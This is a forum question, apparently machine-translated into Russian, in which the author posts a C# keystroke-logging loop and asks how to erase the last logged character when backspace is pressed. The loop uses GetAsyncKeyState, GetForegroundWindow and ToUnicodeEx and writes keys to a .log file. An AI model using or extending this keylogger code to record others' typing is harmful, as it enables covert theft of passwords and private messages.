Проблема
Добрый день, я создал программу, в которой можно записывать нажатия клавиш. Я включил добавление пользовательских клавиш, которые должны быть правильно распечатаны, например: « Shift + / » будет «? ». Но теперь у меня есть одна последняя проблема, связанная с возвратом, ' \ b '.
Я использую StreamWriter для записи в файл .log. Я также добавил ' GetForegroundWindow ', но проблема заключается в ' write ("\ b") '.
int value = GetAsyncKeyState(i);
if ((value & 0x8000) == 0 || (value & 0x1) == 0)
continue;
key = (Keys)i;
switch (key)
{
case Keys.Shift:
write(" [" + key.ToString() + "] ");
break;
case Keys.Back:
write("\b");// <----'WRITING' BACKSPACE TO THE FILE, EVERYTIME IT'S PRESSED.
break;
case Keys.Enter:
write("\n");
break;
case Keys.Space:
write(" ");
break;
case Keys.Tab:
write("\t");
break;
case Keys.Escape:
if (DEBUG)
return;
default:
IntPtr hWindowHandle = GetForegroundWindow();
uint dwProcessId;
uint dwThreadId = GetWindowThreadProcessId(hWindowHandle, out dwProcessId);
byte[] kState = new byte[256];
GetKeyboardState(kState);
uint HKL = GetKeyboardLayout(dwThreadId);
StringBuilder keyName = new StringBuilder();
ToUnicodeEx((uint)i, (uint)i, kState, keyName, 16, 0, HKL);
write(keyName.ToString());
break;
}
Output
Как я и предполагал, он будет «записывать» в файл возврат на одну позицию, но не буквально удаляет последний символ или пробел из файла. Вывод этого даст кучу [] [] []
Но вы не можете «записать» возврат в файл, можете ты? Можно ли каким-либо другим способом попытаться удалить последний символ из файла с помощью StreamWriter?